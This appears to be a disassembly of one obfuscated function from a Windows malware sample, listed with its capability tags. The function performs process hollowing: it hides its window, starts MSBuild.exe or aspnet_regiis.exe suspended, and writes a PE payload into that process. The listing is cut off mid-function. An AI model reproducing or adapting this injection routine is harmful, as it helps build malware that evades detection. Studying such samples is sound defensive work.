Function at 0x10002580
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [0x10063c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x170], 0xde3190ba
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x174], eax
sub eax, 0x81090e6e
je 0x100044b2
jmp 0x100025bc
mov eax, dword [ebp - 0x174]
sub eax, 0x810fa9a5
je 0x10004cc1
jmp 0x100025d2
mov eax, dword [ebp - 0x174]
sub eax, 0x85b635c6
je 0x100049d1
jmp 0x100025e8
mov eax, dword [ebp - 0x174]
sub eax, 0x89cf7ed5
je 0x10004085
jmp 0x100025fe
mov eax, dword [ebp - 0x174]
sub eax, 0x8c394dc1
je 0x100047f2
jmp 0x10002614
mov eax, dword [ebp - 0x174]
sub eax, 0x8d243237
je 0x10005238
jmp 0x1000262a
mov eax, dword [ebp - 0x174]
sub eax, 0x8e54f1d9
je 0x10004660
jmp 0x10002640
mov eax, dword [ebp - 0x174]
sub eax, 0x91c489cb
je 0x10003cab
jmp 0x10002656
mov eax, dword [ebp - 0x174]
sub eax, 0x91c8b50d
je 0x100052e0
jmp 0x1000266c
mov eax, dword [ebp - 0x174]
sub eax, 0x93627d79
je 0x100051ff
jmp 0x10002682
mov eax, dword [ebp - 0x174]
sub eax, 0x94974ea1
je 0x10005092
jmp 0x10002698
mov eax, dword [ebp - 0x174]
sub eax, 0x95b17e68
je 0x10003a0f
jmp 0x100026ae
mov eax, dword [ebp - 0x174]
sub eax, 0x95c0eb18
je 0x1000514c
jmp 0x100026c4
mov eax, dword [ebp - 0x174]
sub eax, 0x96b7f10d
je 0x10003f31
jmp 0x100026da
mov eax, dword [ebp - 0x174]
sub eax, 0x98613d53
je 0x10003751
jmp 0x100026f0
mov eax, dword [ebp - 0x174]
sub eax, 0x999e14ec
je 0x100047e3
jmp 0x10002706
mov eax, dword [ebp - 0x174]
sub eax, 0x9c025b00
je 0x100036ba
jmp 0x1000271c
mov eax, dword [ebp - 0x174]
sub eax, 0xa351e354
je 0x1000377d
jmp 0x10002732
mov eax, dword [ebp - 0x174]
sub eax, 0xa5003ab7
je 0x10004681
jmp 0x10002748
mov eax, dword [ebp - 0x174]
sub eax, 0xa69d7bf1
je 0x10004b02
jmp 0x1000275e
mov eax, dword [ebp - 0x174]
sub eax, 0xa6a5b17d
je 0x1000349a
jmp 0x10002774
mov eax, dword [ebp - 0x174]
sub eax, 0xa7543d2e
je 0x10005268
jmp 0x1000278a
mov eax, dword [ebp - 0x174]
sub eax, 0xa7a6a7ef
je 0x10003db0
jmp 0x100027a0
mov eax, dword [ebp - 0x174]
sub eax, 0xac61a1be
je 0x100037ee
jmp 0x100027b6
mov eax, dword [ebp - 0x174]
sub eax, 0xad220f9d
je 0x10005223
jmp 0x100027cc
mov eax, dword [ebp - 0x174]
sub eax, 0xad2dd197
je 0x10003ea2
jmp 0x100027e2
mov eax, dword [ebp - 0x174]
sub eax, 0xad53c5fe
je 0x10003d5f
jmp 0x100027f8
mov eax, dword [ebp - 0x174]
sub eax, 0xaedcb378
je 0x100050a1
jmp 0x1000280e
mov eax, dword [ebp - 0x174]
sub eax, 0xb1111dea
je 0x10004963
jmp 0x10002824
mov eax, dword [ebp - 0x174]
sub eax, 0xb3323185
je 0x10004add
jmp 0x1000283a
mov eax, dword [ebp - 0x174]
sub eax, 0xb3b3f9af
je 0x1000457b
jmp 0x10002850
mov eax, dword [ebp - 0x174]
sub eax, 0xb7420719
je 0x100035b6
jmp 0x10002866
mov eax, dword [ebp - 0x174]
sub eax, 0xbbc59fec
je 0x1000513d
jmp 0x1000287c
mov eax, dword [ebp - 0x174]
sub eax, 0xc248c0fc
je 0x1000458a
jmp 0x10002892
mov eax, dword [ebp - 0x174]
sub eax, 0xc4828f62
je 0x1000390c
jmp 0x100028a8
mov eax, dword [ebp - 0x174]
sub eax, 0xc7a23f76
je 0x100043b1
jmp 0x100028be
mov eax, dword [ebp - 0x174]
sub eax, 0xc8477051
je 0x10003387
jmp 0x100028d4
mov eax, dword [ebp - 0x174]
sub eax, 0xc91664a1
je 0x100031b3
jmp 0x100028ea
mov eax, dword [ebp - 0x174]
sub eax, 0xc947bf9c
je 0x10004fbf
jmp 0x10002900
mov eax, dword [ebp - 0x174]
sub eax, 0xcc6763de
je 0x10003540
jmp 0x10002916
mov eax, dword [ebp - 0x174]
sub eax, 0xce45ac13
je 0x10005057
jmp 0x1000292c
mov eax, dword [ebp - 0x174]
sub eax, 0xd17aa68d
je 0x10003bc3
jmp 0x10002942
mov eax, dword [ebp - 0x174]
sub eax, 0xd184c53d
je 0x10004e2a
jmp 0x10002958
mov eax, dword [ebp - 0x174]
sub eax, 0xd1f2c974
je 0x10003119
jmp 0x1000296e
mov eax, dword [ebp - 0x174]
sub eax, 0xd219fd0f
je 0x1000511a
jmp 0x10002984
mov eax, dword [ebp - 0x174]
sub eax, 0xd3117ab2
je 0x1000441f
jmp 0x1000299a
mov eax, dword [ebp - 0x174]
sub eax, 0xd5da4fac
je 0x100034d9
jmp 0x100029b0
mov eax, dword [ebp - 0x174]
sub eax, 0xd63b1323
je 0x100031c2
jmp 0x100029c6
mov eax, dword [ebp - 0x174]
sub eax, 0xd700e4cf
je 0x100048ed
jmp 0x100029dc
mov eax, dword [ebp - 0x174]
sub eax, 0xd969c419
je 0x1000391b
jmp 0x100029f2
mov eax, dword [ebp - 0x174]
sub eax, 0xdaa766e8
je 0x1000380f
jmp 0x10002a08
mov eax, dword [ebp - 0x174]
sub eax, 0xdb188b15
je 0x10004843
jmp 0x10002a1e
mov eax, dword [ebp - 0x174]
sub eax, 0xdcb37178
je 0x100052d1
jmp 0x10002a34
mov eax, dword [ebp - 0x174]
sub eax, 0xde3190ba
je 0x100030ab
jmp 0x10002a4a
mov eax, dword [ebp - 0x174]
sub eax, 0xde950247
je 0x10004c39
jmp 0x10002a60
mov eax, dword [ebp - 0x174]
sub eax, 0xe05cd45f
je 0x10003238
jmp 0x10002a76
mov eax, dword [ebp - 0x174]
sub eax, 0xe0b769ba
je 0x100045aa
jmp 0x10002a8c
mov eax, dword [ebp - 0x174]
sub eax, 0xe23f95f9
je 0x1000396c
jmp 0x10002aa2
mov eax, dword [ebp - 0x174]
sub eax, 0xe580cc90
je 0x10004fce
jmp 0x10002ab8
mov eax, dword [ebp - 0x174]
sub eax, 0xe707c6cc
je 0x10003e22
jmp 0x10002ace
mov eax, dword [ebp - 0x174]
sub eax, 0xe7fa17ce
je 0x100044d9
jmp 0x10002ae4
mov eax, dword [ebp - 0x174]
sub eax, 0xeb076259
je 0x1000347f
jmp 0x10002afa
mov eax, dword [ebp - 0x174]
sub eax, 0xee12eda6
je 0x10004c67
jmp 0x10002b10
mov eax, dword [ebp - 0x174]
sub eax, 0xefe7407b
je 0x10004381
jmp 0x10002b26
mov eax, dword [ebp - 0x174]
sub eax, 0xf02225d4
je 0x10004fef
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d019be3
mov ecx, 0xd1f2c974
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
sub edx, 0xdd152893
sub edx, 1
add edx, 0xdd152893
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d019be3
mov ecx, 0xc91664a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dword [ebp - 0x170], 0xd63b1323
jmp 0x100052ea
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
add edx, 0x678f9ae
sub edx, 1
sub edx, 0x678f9ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf02225d4
mov ecx, 0xe05cd45f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ac00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x119], al
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
sub edx, 0x66924997
sub edx, 1
add edx, 0x66924997
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf02225d4
mov ecx, 0xc8477051
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dl, byte [ebp - 0x119]
mov eax, 0xe580cc90
mov ecx, 0x7209069f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x170], 0xa6a5b17d
jmp 0x100052ea
mov eax, dword [ebp - 0x114]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x118]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x16c], eax
mov edx, dword [ebp - 0x16c]
mov eax, 0x72906945
mov ecx, 0xd5da4fac
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100064a0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100064a0
add esp, 0xc
mov eax, dword [ebp - 0x16c]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x170], 0xcc6763de
jmp 0x100052ea
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
sub edx, 0xf09970ae
sub edx, 1
add edx, 0xf09970ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce45ac13
mov ecx, 0xb7420719
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x110]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x160]
mov byte [eax], cl
mov eax, dword [ebp - 0x15c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x109], al
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce45ac13
mov ecx, 0x36ff22e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
add edx, 0x467a9fbb
sub edx, 1
sub edx, 0x467a9fbb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94974ea1
mov ecx, 0x71939501
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x15c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x170], 0x2a20ce2c
jmp 0x100052ea
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x170], 0xac61a1be
jmp 0x100052ea
mov edx, dword [ebp - 0x108]
mov eax, 0xd184c53d
mov ecx, 0xdaa766e8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
add edx, 0xb6b1c743
sub edx, 1
sub edx, 0xb6b1c743
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaedcb378
mov ecx, 0xfbc620b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dword [ebp - 0x170], 0xd969c419
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
sub edx, 0xd135c195
sub edx, 1
add edx, 0xd135c195
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f728a1b
mov ecx, 0xe23f95f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x104]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xfd], al
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3f728a1b
mov ecx, 0x2be89139
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001fe0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x16c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x170], 0x728dd4a8
jmp 0x100052ea
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x170], 0x41d60128
jmp 0x100052ea
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
add ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x16c]
sub ecx, 0x95284c24
add ecx, 0x18
add ecx, 0x95284c24
mov eax, dword [ebp - 0x16c]
movzx eax, word [eax + 0x14]
add ecx, 0x68024768
add ecx, eax
sub ecx, 0x68024768
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov dword [eax], 0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov dword [eax], 0
mov dword [ebp - 0x170], 0x4f5f75dc
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
sub edx, 0x2373c29e
sub edx, 1
add edx, 0x2373c29e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbbc59fec
mov ecx, 0xa7a6a7ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
add edx, 0x691da04
sub edx, 1
sub edx, 0x691da04
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbbc59fec
mov ecx, 0x73433f13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x138]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x89e42db9
add eax, ecx
sub eax, 0x89e42db9
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x170], 0xad2dd197
jmp 0x100052ea
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd8]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x148]
mov esi, dword [eax]
mov eax, dword [ebp - 0x138]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x5579d29a
mov ecx, 0x96b7f10d
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x170], 0x1211a9a2
jmp 0x100052ea
mov dword [ebp - 0x170], 0x3f84c934
jmp 0x100052ea
mov dword [ebp - 0x170], 0x64bbac97
jmp 0x100052ea
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ed4bb
mov ecx, 0xd3117ab2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
sub edx, 0x48605e6c
sub edx, 1
add edx, 0x48605e6c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ed4bb
mov ecx, 0x56ead975
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov edx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x16c]
mov eax, 0x6cd4ea0d
mov ecx, 0xe7fa17ce
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
sub edx, 0xff44c3f5
sub edx, 1
add edx, 0xff44c3f5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93627d79
mov ecx, 0x63158785
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dword [ebp - 0x170], 0xc248c0fc
jmp 0x100052ea
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x170], 0xe0b769ba
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
sub edx, 0x7a29e14d
sub edx, 1
add edx, 0x7a29e14d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59463a7d
mov ecx, 0x3e6ce37e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov dl, byte [ebp - 0x9d]
mov eax, 0x810fa9a5
mov ecx, 0xa5003ab7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x170], 0x55abf797
jmp 0x100052ea
mov dword [ebp - 0x170], 0x8c394dc1
jmp 0x100052ea
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
add edx, 0xd6f57d20
sub edx, 1
sub edx, 0xd6f57d20
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d243237
mov ecx, 0xdb188b15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d243237
mov ecx, 0x963207c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov ecx, dword [0x10064f38]
mov eax, dword [0x10064f34]
mov edx, ecx
add edx, 0x61168ba7
sub edx, 1
sub edx, 0x61168ba7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea80b1f
mov ecx, 0xb1111dea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x100052ea
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10064f38]
mov ecx, dword [0x10064f34]
mov edx, eax
sub edx, 0x43a42c6a
sub edx, 1
add edx, 0x43a42c6a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea80b1f
mov ecx, 0x579dd030
test dl, 1
